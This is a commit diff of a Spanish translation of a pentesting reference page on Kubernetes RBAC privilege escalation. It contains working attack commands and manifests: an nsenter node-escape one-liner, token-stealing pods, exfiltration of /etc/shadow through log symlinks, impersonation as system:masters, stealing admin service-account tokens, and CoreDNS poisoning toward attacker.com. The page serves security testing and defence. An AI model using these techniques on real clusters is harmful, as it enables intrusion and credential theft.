Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub

This commit is contained in:
Translator
2026-02-12 12:38:14 +00:00
parent 0575e4df99
commit c70ef978ff
2 changed files with 203 additions and 177 deletions
@@ -2,22 +2,22 @@
{{#include ../../../banners/hacktricks-training.md}}
Aquí puedes encontrar algunas configuraciones de Roles y ClusterRoles potencialmente peligrosas.\
Aquí puedes encontrar algunas configuraciones potencialmente peligrosas de Roles y ClusterRoles.\
Recuerda que puedes obtener todos los recursos soportados con `kubectl api-resources`
## **Escalación de Privilegios**
## **Privilege Escalation**
Se refiere al arte de obtener **acceso a un principal diferente** dentro del clúster **con diferentes privilegios** (dentro del clúster de Kubernetes o a nubes externas) que los que ya tienes. En Kubernetes, hay básicamente **4 técnicas principales para escalar privilegios**:
Refiriéndose al arte de obtener **access to a different principal** dentro del cluster **with different privileges** (dentro del Kubernetes cluster o hacia clouds externos) que las que ya tienes, en Kubernetes básicamente hay **4 main techniques to escalate privileges**:
- Poder **suplantar** a otros usuarios/grupos/SAs con mejores privilegios dentro del clúster de Kubernetes o a nubes externas
- Poder **crear/parchear/ejecutar pods** donde puedes **encontrar o adjuntar SAs** con mejores privilegios dentro del clúster de Kubernetes o a nubes externas
- Poder **leer secretos** ya que los tokens de SAs se almacenan como secretos
- Poder **escapar al nodo** desde un contenedor, donde puedes robar todos los secretos de los contenedores que se ejecutan en el nodo, las credenciales del nodo y los permisos del nodo dentro de la nube en la que se está ejecutando (si los hay)
- Una quinta técnica que merece mención es la capacidad de **ejecutar port-forward** en un pod, ya que podrías acceder a recursos interesantes dentro de ese pod.
- Poder **impersonate** a otros user/groups/SAs con mejores privilegios dentro del Kubernetes cluster o hacia clouds externos
- Poder **create/patch/exec pods** donde puedas **find or attach SAs** con mejores privilegios dentro del Kubernetes cluster o hacia clouds externos
- Poder **read secrets** ya que los tokens de las SAs se almacenan como secrets
- Poder **escape to the node** desde un container, donde puedes robar todos los secrets de los containers que se ejecutan en el node, las credenciales del node y los permisos del node dentro del cloud donde se esté ejecutando (si los hay)
- Una quinta técnica que merece mención es la capacidad de **run port-forward** en un pod, ya que podrías acceder a recursos interesantes dentro de ese pod.
### Acceso a Cualquier Recurso o Verbo (Wildcard)
### Access Any Resource or Verb (Wildcard)
El **wildcard (\*) otorga permiso sobre cualquier recurso con cualquier verbo**. Es utilizado por administradores. Dentro de un ClusterRole, esto significa que un atacante podría abusar de cualquier namespace en el clúster.
El **wildcard (\*) gives permission over any resource with any verb**. Lo usan los admins. Dentro de una ClusterRole esto significa que un atacante podría abusar de cualquier namespace en el cluster
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -29,13 +29,13 @@ rules:
resources: ["*"]
verbs: ["*"]
```
### Acceder a Cualquier Recurso con un verbo específico
### Acceder a cualquier recurso con un verbo específico
En RBAC, ciertos permisos representan riesgos significativos:
En RBAC, ciertos permisos presentan riesgos significativos:
1. **`create`:** Concede la capacidad de crear cualquier recurso del clúster, arriesgando la escalada de privilegios.
2. **`list`:** Permite listar todos los recursos, potencialmente filtrando datos sensibles.
3. **`get`:** Permite acceder a secretos de cuentas de servicio, representando una amenaza a la seguridad.
1. **`create`:** Concede la capacidad de crear cualquier recurso del cluster, arriesgando un escalamiento de privilegios.
2. **`list`:** Permite listar todos los recursos, potencialmente leaking datos sensibles.
3. **`get`:** Permite acceder a secrets de service accounts, lo que supone una amenaza para la seguridad.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -49,9 +49,9 @@ verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token
Un atacante con los permisos para crear un pod, podría adjuntar una Cuenta de Servicio privilegiada al pod y robar el token para hacerse pasar por la Cuenta de Servicio. Efectivamente, escalando privilegios a ella.
Un atacante con los permisos para crear un pod podría adjuntar una Service Account privilegiada en el pod y robar el token para suplantar a la Service Account. Escalando efectivamente sus privilegios.
Ejemplo de un pod que robará el token de la cuenta de servicio `bootstrap-signer` y lo enviará al atacante:
Ejemplo de un pod que robará el token de la `bootstrap-signer` service account y se lo enviará al atacante:
```yaml
apiVersion: v1
kind: Pod
@@ -72,14 +72,14 @@ serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
### Creación y Escape de Pods
### Pod Create & Escape
Lo siguiente indica todos los privilegios que un contenedor puede tener:
Lo siguiente indica todos los privilegios que puede tener un contenedor:
- **Acceso privilegiado** (deshabilitando protecciones y estableciendo capacidades)
- **Privileged access** (deshabilitar protecciones y establecer capacidades)
- **Deshabilitar los namespaces hostIPC y hostPid** que pueden ayudar a escalar privilegios
- **Deshabilitar el namespace hostNetwork**, dando acceso para robar privilegios de nube de nodos y mejor acceso a redes
- **Montar hosts / dentro del contenedor**
- **Deshabilitar el namespace hostNetwork**, dando acceso para robar los privilegios en la nube de los nodos y un mejor acceso a las redes
- **Montar el / del host dentro del contenedor**
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
@@ -119,41 +119,41 @@ Crea el pod con:
```bash
kubectl --token $token create -f mount_root.yaml
```
Una línea de [este tweet](https://twitter.com/mauilion/status/1129468485480751104) y con algunas adiciones:
Comando de una sola línea de [this tweet](https://twitter.com/mauilion/status/1129468485480751104) y con algunas adiciones:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
Ahora que puedes escapar al nodo, revisa las técnicas de post-explotación en:
Ahora que puedes escapar al node consulta post-exploitation techniques en:
#### Sigilo
#### Stealth
Probablemente quieras ser **más sigiloso**, en las siguientes páginas puedes ver a qué podrías acceder si creas un pod habilitando solo algunos de los privilegios mencionados en la plantilla anterior:
Probablemente quieras ser **stealthier**, en las páginas siguientes puedes ver a qué podrías acceder si creas un pod habilitando solo algunos de los privilegios mencionados en la plantilla anterior:
- **Privilegiado + hostPID**
- **Solo privilegiado**
- **Privileged + hostPID**
- **Privileged only**
- **hostPath**
- **hostPID**
- **hostNetwork**
- **hostIPC**
_Puedes encontrar un ejemplo de cómo crear/abusar de las configuraciones de pods privilegiados anteriores en_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
_You can find example of how to create/abuse the previous privileged pods configurations in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)
### Crear Pod - Mover a la nube
### Pod Create - Move to cloud
Si puedes **crear** un **pod** (y opcionalmente una **cuenta de servicio**) podrías **obtener privilegios en el entorno de la nube** al **asignar roles de nube a un pod o a una cuenta de servicio** y luego acceder a él.\
Además, si puedes crear un **pod con el espacio de nombres de red del host**, puedes **robar el rol de IAM** de la instancia del **nodo**.
Si puedes **create** un **pod** (y opcionalmente una **service account**) podrías ser capaz de **obtain privileges in cloud environment** al **assigning cloud roles to a pod or a service account** y luego acceder a él.\
Además, si puedes crear un **pod with the host network namespace** puedes **steal the IAM** role de la instancia del **node**.
Para más información, consulta:
For more information check:
{{#ref}}
pod-escape-privileges.md
{{#endref}}
### **Crear/Patch Despliegue, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs y Cronjobs**
### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**
Es posible abusar de estos permisos para **crear un nuevo pod** y escalar privilegios como en el ejemplo anterior.
Es posible abusar de estos permisos para **create a new pod** y escalar privilegios como en el ejemplo anterior.
El siguiente yaml **crea un daemonset y exfiltra el token de la SA** dentro del pod:
El siguiente yaml **creates a daemonset and exfiltrates the token of the SA** dentro del pod:
```yaml
apiVersion: apps/v1
kind: DaemonSet
@@ -191,32 +191,32 @@ path: /
```
### **Pods Exec**
**`pods/exec`** es un recurso en kubernetes utilizado para **ejecutar comandos en un shell dentro de un pod**. Esto permite **ejecutar comandos dentro de los contenedores o obtener un shell dentro**.
**`pods/exec`** es un recurso en kubernetes usado para **ejecutar comandos en una shell dentro de un pod**. Esto permite **ejecutar comandos dentro de los contenedores o obtener una shell dentro**.
Por lo tanto, es posible **entrar en un pod y robar el token del SA**, o ingresar a un pod privilegiado, escapar al nodo y robar todos los tokens de los pods en el nodo y (ab)usar el nodo:
Por lo tanto, es posible **entrar en un pod y robar el token del SA**, o entrar en un pod privilegiado, escapar al node, y robar todos los tokens de los pods en el node y (ab)usar el node:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Por defecto, el comando se ejecuta en el primer contenedor del pod. Obtén **todos los pods en un contenedor** con `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` y luego **indica el contenedor** donde deseas ejecutarlo con `kubectl exec -it <pod_name> -c <container_name> -- sh`
> Por defecto el comando se ejecuta en el primer contenedor del pod. Obtén **todos los contenedores en un pod** con `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` y luego **indica el contenedor** donde quieres ejecutarlo con `kubectl exec -it <pod_name> -c <container_name> -- sh`
Si es un contenedor distroless, podrías intentar usar **shell builtins** para obtener información de los contenedores o subir tus propias herramientas como un **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
Si es un distroless container puedes intentar usar **shell builtins** para obtener información de los contenedores o subir tus propias herramientas como un **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.
### port-forward
Este permiso permite **redirigir un puerto local a un puerto en el pod especificado**. Esto está destinado a poder depurar aplicaciones que se ejecutan dentro de un pod fácilmente, pero un atacante podría abusar de ello para obtener acceso a aplicaciones interesantes (como bases de datos) o vulnerables (¿webs?) dentro de un pod:
Este permiso permite **redirigir un puerto local a un puerto en el pod especificado**. Está pensado para facilitar la depuración de aplicaciones que se ejecutan dentro de un pod, pero un atacante podría abusar de ello para obtener acceso a aplicaciones interesantes (como DBs) o vulnerables (¿webs?) dentro de un pod:
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape
### Hosts con /var/log/ escribible — Escape
Como [**se indica en esta investigación**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), si puedes acceder o crear un pod con el **directorio `/var/log/` de los hosts montado** en él, puedes **escapar del contenedor**.\
Esto se debe básicamente a que cuando el **Kube-API intenta obtener los logs** de un contenedor (usando `kubectl logs <pod>`), **solicita el archivo `0.log`** del pod utilizando el endpoint `/logs/` del servicio **Kubelet**.\
El servicio Kubelet expone el endpoint `/logs/`, que básicamente **expone el sistema de archivos `/var/log` del contenedor**.
Como [**indicated in this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), si puedes acceder o crear un pod con el directorio **hosts `/var/log/` mounted** en él, puedes **escape from the container**.\
Esto se debe básicamente a que cuando la **Kube-API intenta obtener los logs** de un contenedor (usando `kubectl logs <pod>`), solicita el archivo `0.log` del pod usando el endpoint `/logs/` del servicio **Kubelet**.\
El servicio Kubelet expone el endpoint `/logs/` que básicamente está **exponiendo el filesystem `/var/log` del contenedor**.
Por lo tanto, un atacante con **acceso para escribir en la carpeta /var/log/** del contenedor podría abusar de este comportamiento de 2 maneras:
Por lo tanto, un atacante con **acceso de escritura en la carpeta /var/log/** del contenedor podría abusar de este comportamiento de 2 maneras:
- Modificando el archivo `0.log` de su contenedor (generalmente ubicado en `/var/logs/pods/namespace_pod_uid/container/0.log`) para que sea un **symlink que apunte a `/etc/shadow`**, por ejemplo. Luego, podrás exfiltrar el archivo shadow de los hosts haciendo:
- Modificar el archivo `0.log` de su contenedor (usualmente ubicado en `/var/logs/pods/namespace_pod_uid/container/0.log`) para que sea un **symlink pointing to `/etc/shadow`**, por ejemplo. Entonces, podrás exfiltrar el archivo shadow del host haciendo:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
@@ -224,7 +224,7 @@ kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- Si el atacante controla cualquier principal con los **permisos para leer `nodes/log`**, puede simplemente crear un **symlink** en `/host-mounted/var/log/sym` a `/` y al **acceder a `https://<gateway>:10250/logs/sym/` listará el sistema de archivos raíz** del host (cambiar el symlink puede proporcionar acceso a archivos).
- Si el atacante controla cualquier principal con los **permisos para leer `nodes/log`**, puede simplemente crear un **symlink** en `/host-mounted/var/log/sym` apuntando a `/` y al **acceder a `https://<gateway>:10250/logs/sym/` listará el sistema de archivos raíz del host** (cambiar el symlink puede proporcionar acceso a archivos).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
@@ -236,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://
<a href="lib">lib</a>
[...]
```
**Un laboratorio y un exploit automatizado se pueden encontrar en** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
**Se puede encontrar un laboratorio y un exploit automatizado en** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)
#### Bypass de la protección readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Eludir la protección readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Si tienes la suerte de que la capacidad altamente privilegiada `CAP_SYS_ADMIN` está disponible, puedes simplemente volver a montar la carpeta como rw:
Si tienes la suerte de que la capability altamente privilegiada `CAP_SYS_ADMIN` esté disponible, puedes simplemente volver a montar la carpeta como rw:
```bash
mount -o rw,remount /hostlogs/
```
#### Bypass de la protección readOnly de hostPath <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
#### Eludir la protección hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>
Como se indica en [**esta investigación**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), es posible eludir la protección:
Como se indica en [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) es posible eludir la protección:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Lo que se pretendía era prevenir escapes como los anteriores al, en lugar de usar un hostPath mount, utilizar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta de hosts en el contenedor con acceso de escritura:
Esto estaba pensado para prevenir escapes como los anteriores: en lugar de usar un hostPath mount, usar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta del host en el contenedor con acceso de escritura:
```yaml
apiVersion: v1
kind: PersistentVolume
@@ -300,14 +300,14 @@ name: task-pv-storage-vol
```
### **Suplantación de cuentas privilegiadas**
Con un privilegio de [**suplantación de usuario**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un atacante podría suplantar una cuenta privilegiada.
Con el privilegio de [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un atacante podría suplantar una cuenta privilegiada.
Solo usa el parámetro `--as=<username>` en el comando `kubectl` para suplantar a un usuario, o `--as-group=<group>` para suplantar a un grupo:
Simplemente use el parámetro `--as=<username>` en el comando `kubectl` para suplantar a un usuario, o `--as-group=<group>` para suplantar a un grupo:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
```
O use la API REST:
O usa la REST API:
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
@@ -315,15 +315,16 @@ curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Listando Secretos
### Listar Secrets
El permiso para **listar secretos podría permitir a un atacante leer realmente los secretos** accediendo al endpoint de la API REST:
El permiso para **list secrets podría permitir a un atacante leer realmente los secrets** accediendo al endpoint de la API REST:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Creación y Lectura de Secretos
### Creación y lectura de Secrets
Hay un tipo especial de secreto de Kubernetes de tipo **kubernetes.io/service-account-token** que almacena tokens de serviceaccount. Si tienes permisos para crear y leer secretos, y también conoces el nombre del serviceaccount, puedes crear un secreto de la siguiente manera y luego robar el token del serviceaccount de la víctima:
Existe un tipo especial de Secret de Kubernetes de tipo **kubernetes.io/service-account-token** que almacena tokens de serviceaccount.
Si tienes permisos para crear y leer Secrets, y además conoces el nombre del serviceaccount, puedes crear un Secret como sigue y luego robar el token del serviceaccount víctima:
```yaml
apiVersion: v1
kind: Secret
@@ -334,7 +335,7 @@ annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
Ejemplo de explotación:
Ejemplo exploitation:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
@@ -382,13 +383,14 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso
"type": "kubernetes.io/service-account-token"
}
```
Note que si se le permite crear y leer secretos en un cierto namespace, la cuenta de servicio de la víctima también debe estar en ese mismo namespace.
Ten en cuenta que si tienes permiso para crear y leer secrets en un namespace determinado, el victim serviceaccount también debe estar en ese mismo namespace.
### Lectura de un secreto fuerza bruta de IDs de token
Mientras que un atacante en posesión de un token con permisos de lectura requiere el nombre exacto del secreto para usarlo, a diferencia del privilegio más amplio de _**listar secretos**_, aún existen vulnerabilidades. Las cuentas de servicio predeterminadas en el sistema pueden ser enumeradas, cada una asociada con un secreto. Estos secretos tienen una estructura de nombre: un prefijo estático seguido de un token alfanumérico aleatorio de cinco caracteres (excluyendo ciertos caracteres) de acuerdo con el [código fuente](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
### Lectura de un secret brute-forcing token IDs
El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría ejecutar razonablemente un ataque de fuerza bruta para deducir el token en cuestión de horas, lo que podría llevar a una escalada de privilegios al acceder a cuentas de servicio sensibles.
Si bien un atacante en posesión de un token con permisos de lectura necesita el nombre exacto del secret para usarlo, a diferencia del privilegio más amplio de _**listing secrets**_, todavía existen vulnerabilidades. Default service accounts en el sistema pueden ser enumerados, cada uno asociado a un secret. Estos secrets tienen una estructura de nombre: un prefijo estático seguido de un token alfanumérico aleatorio de cinco caracteres (excluyendo ciertos caracteres) según el [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
El token se genera a partir de un conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría, de forma factible, ejecutar un brute-force attack para deducir el token en cuestión de horas, lo que podría conducir a una escalada de privilegios al acceder a service accounts sensibles.
### EncrpytionConfiguration en texto claro
@@ -449,13 +451,13 @@ keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Certificate Signing Requests
### Solicitudes de firma de certificados
Si tienes el verbo **`create`** en el recurso `certificatesigningrequests` (o al menos en `certificatesigningrequests/nodeClient`). Puedes **crear** un nuevo CeSR de un **nuevo nodo.**
Si tienes el verbo **`create`** en el recurso `certificatesigningrequests` ( o al menos en `certificatesigningrequests/nodeClient`). Puedes **crear** un nuevo CeSR de un **nuevo nodo.**
Según la [documentación es posible aprobar automáticamente estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), así que en ese caso **no necesitas permisos adicionales**. Si no, necesitarías poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
Según la [documentación es posible autoaprobar estas solicitudes](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), por lo que en ese caso **no necesitas permisos adicionales**. Si no, necesitarías poder aprobar la solicitud, lo que significa actualizar en `certificatesigningrequests/approval` y `approve` en `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`
Un **ejemplo de un rol** con todos los permisos requeridos es:
Un **ejemplo de un role** con todos los permisos requeridos es:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
@@ -486,18 +488,18 @@ resourceNames:
verbs:
- approve
```
Entonces, con el nuevo CSR de nodo aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**.
Entonces, con el nuevo node CSR aprobado, puedes **abusar** de los permisos especiales de los nodos para **robar secretos** y **escalar privilegios**.
En [**esta publicación**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**esta otra**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/), la configuración de GKE K8s TLS Bootstrap está configurada con **firma automática** y se abusa para generar credenciales de un nuevo nodo K8s y luego abusar de ellas para escalar privilegios robando secretos.\
Si **tienes los privilegios mencionados, podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo elude el error que impide que un nuevo nodo acceda a secretos dentro de contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.**
En [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) y [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) la configuración GKE K8s TLS Bootstrap está configurada con **automatic signing** y se abusa de ella para generar credenciales de un nuevo K8s Node y luego usar esas credenciales para escalar privilegios robando secretos.\
Si **tienes los privilegios mencionados podrías hacer lo mismo**. Ten en cuenta que el primer ejemplo evita el error que impide a un nuevo nodo acceder a los secretos dentro de los contenedores porque un **nodo solo puede acceder a los secretos de los contenedores montados en él.**
La forma de eludir esto es simplemente **crear credenciales de nodo para el nombre del nodo donde el contenedor con los secretos interesantes está montado** (pero solo verifica cómo hacerlo en la primera publicación):
La forma de evitar esto es simplemente **crear credenciales de nodo para el nombre de nodo donde está montado el contenedor con los secretos interesantes** (pero consulta cómo hacerlo en el primer post):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps
Los principales que pueden modificar **`configmaps`** en el espacio de nombres kube-system en clústeres EKS (deben estar en AWS) pueden obtener privilegios de administrador del clúster al sobrescribir el configmap **aws-auth**.\
Entidades (principals) que puedan modificar **`configmaps`** en el namespace kube-system en clusters EKS (necesitan estar en AWS) pueden obtener privilegios de administrador del cluster sobrescribiendo el **aws-auth** configmap.\
Los verbos necesarios son **`update`** y **`patch`**, o **`create`** si el configmap no fue creado:
```bash
# Check if config map exists
@@ -538,18 +540,18 @@ groups:
- system:masters
```
> [!WARNING]
> Puedes usar **`aws-auth`** para **persistencia** dando acceso a usuarios de **otras cuentas**.
> Puedes usar **`aws-auth`** para **persistencia** otorgando acceso a usuarios de **otras cuentas**.
>
> Sin embargo, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **no funciona desde una cuenta diferente**. Pero en realidad `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona si pones el ARN del clúster en lugar de solo el nombre.\
> Para hacer que `kubectl` funcione, solo asegúrate de **configurar** el **kubeconfig de la víctima** y en los argumentos de ejecución de aws agrega `--profile other_account_role` para que kubectl use el perfil de la otra cuenta para obtener el token y contactar a AWS.
> Sin embargo, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **no funciona desde una cuenta diferente**. Pero en realidad `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona si pones el ARN del cluster en lugar del nombre.\
> Para que `kubectl` funcione, asegúrate de **configurar** el **kubeconfig de la víctima** y en los argumentos de aws exec añade `--profile other_account_role` para que kubectl use el perfil de la otra cuenta para obtener el token y contactar a AWS.
### Mapa de configuración de CoreDNS
### ConfigMap de CoreDNS
Si tienes los permisos para modificar el **`coredns` configmap** en el espacio de nombres `kube-system`, puedes modificar las direcciones a las que se resolverán los dominios para poder realizar ataques MitM para **robar información sensible o inyectar contenido malicioso**.
Si tienes permisos para modificar el **`coredns` configmap** en el `kube-system` namespace, puedes modificar a qué direcciones se resolverán los dominios para poder realizar ataques MitM y **robar información sensible o inyectar contenido malicioso**.
Los verbos necesarios son **`update`** y **`patch`** sobre el **`coredns`** configmap (o todos los config maps).
Un archivo **coredns** regular contiene algo como esto:
Un **archivo coredns** típico contiene algo como esto:
```yaml
data:
Corefile: |
@@ -579,58 +581,75 @@ reload
loadbalance
}
```
Un atacante podría descargarlo ejecutando `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo añadiendo algo como `rewrite name victim.com attacker.com`, de modo que cada vez que se acceda a `victim.com`, en realidad se acceda a `attacker.com`. Y luego aplicarlo ejecutando `kubectl apply -f poison_dns.yaml`.
Un atacante podría descargarlo ejecutando `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo añadiendo algo como `rewrite name victim.com attacker.com` para que, cada vez que se acceda a `victim.com`, en realidad se acceda al dominio `attacker.com`. Y luego aplicarlo ejecutando `kubectl apply -f poison_dns.yaml`.
Otra opción es simplemente editar el archivo ejecutando `kubectl edit configmap coredns -n kube-system` y hacer cambios.
Otra opción es simplemente editar el archivo ejecutando `kubectl edit configmap coredns -n kube-system` y hacer los cambios.
### Escalando en GKE
### Escalación en GKE
Hay **2 formas de asignar permisos de K8s a los principales de GCP**. En cualquier caso, el principal también necesita el permiso **`container.clusters.get`** para poder obtener credenciales para acceder al clúster, o necesitarás **generar tu propio archivo de configuración de kubectl** (sigue el siguiente enlace).
Hay **2 formas de asignar K8s permissions a GCP principals**. En cualquier caso el principal también necesita el permiso **`container.clusters.get`** para poder obtener credenciales para acceder al cluster, o necesitarás **generar tu propio kubectl config file** (sigue el siguiente enlace).
> [!WARNING]
> Al hablar con el punto final de la API de K8s, se **enviará el token de autenticación de GCP**. Luego, GCP, a través del punto final de la API de K8s, primero **verificará si el principal** (por correo electrónico) **tiene algún acceso dentro del clúster**, luego verificará si tiene **algún acceso a través de GCP IAM**.\
> Si **cualquiera** de esos es **verdadero**, se le **responde**. Si **no**, se dará un **error** sugiriendo otorgar **permisos a través de GCP IAM**.
> When talking to the K8s api endpoint, the **GCP auth token will be sent**. Then, GCP, through the K8s api endpoint, will first **check if the principal** (by email) **has any access inside the cluster**, then it will check if it has **any access via GCP IAM**.\
> If **any** of those are **true**, he will be **responded**. If **not** an **error** suggesting to give **permissions via GCP IAM** will be given.
Entonces, el primer método es usar **GCP IAM**, los permisos de K8s tienen sus **permisos equivalentes de GCP IAM**, y si el principal los tiene, podrá usarlos.
Then, the first method is using **GCP IAM**, the K8s permissions have their **equivalent GCP IAM permissions**, and if the principal have it, it will be able to use it.
{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}
El segundo método es **asignar permisos de K8s dentro del clúster** identificando al usuario por su **correo electrónico** (incluidas las cuentas de servicio de GCP).
The second method is **assigning K8s permissions inside the cluster** to the identifying the user by its **email** (GCP service accounts included).
### Crear token de serviceaccounts
### Create serviceaccounts token
Principales que pueden **crear TokenRequests** (`serviceaccounts/token`) al hablar con el punto final de la API de K8s SAs (info de [**aquí**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
Principals that can **create TokenRequests** (`serviceaccounts/token`) When talking to the K8s api endpoint SAs (info from [**here**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).
### ephemeralcontainers
Principales que pueden **`update`** o **`patch`** **`pods/ephemeralcontainers`** pueden obtener **ejecución de código en otros pods**, y potencialmente **salir** a su nodo añadiendo un contenedor efímero con un securityContext privilegiado.
Principals that can **`update`** or **`patch`** **`pods/ephemeralcontainers`** can gain **code execution on other pods**, and potentially **break out** to their node by adding an ephemeral container with a privileged securityContext
### ValidatingWebhookConfigurations o MutatingWebhookConfigurations
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Principales con cualquiera de los verbos `create`, `update` o `patch` sobre `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` podrían ser capaces de **crear una de esas webhookconfigurations** para poder **escalar privilegios**.
Principals with any of the verbs `create`, `update` or `patch` over `validatingwebhookconfigurations` or `mutatingwebhookconfigurations` might be able to **create one of such webhookconfigurations** in order to be able to **escalate privileges**.
Para un [ejemplo de `mutatingwebhookconfigurations`, consulta esta sección de esta publicación](#malicious-admission-controller).
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
### Escalar
Como puedes leer en la siguiente sección: [**Prevención de Escalación de Privilegios Incorporada**](#built-in-privileged-escalation-prevention), un principal no puede actualizar ni crear roles o clusterroles sin tener él mismo esos nuevos permisos. Excepto si tiene el **verbo `escalate` o `*`** sobre **`roles`** o **`clusterroles`** y las respectivas opciones de vinculación.\
Entonces puede actualizar/crear nuevos roles, clusterroles con mejores permisos que los que tiene.
As you can read in the next section: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\
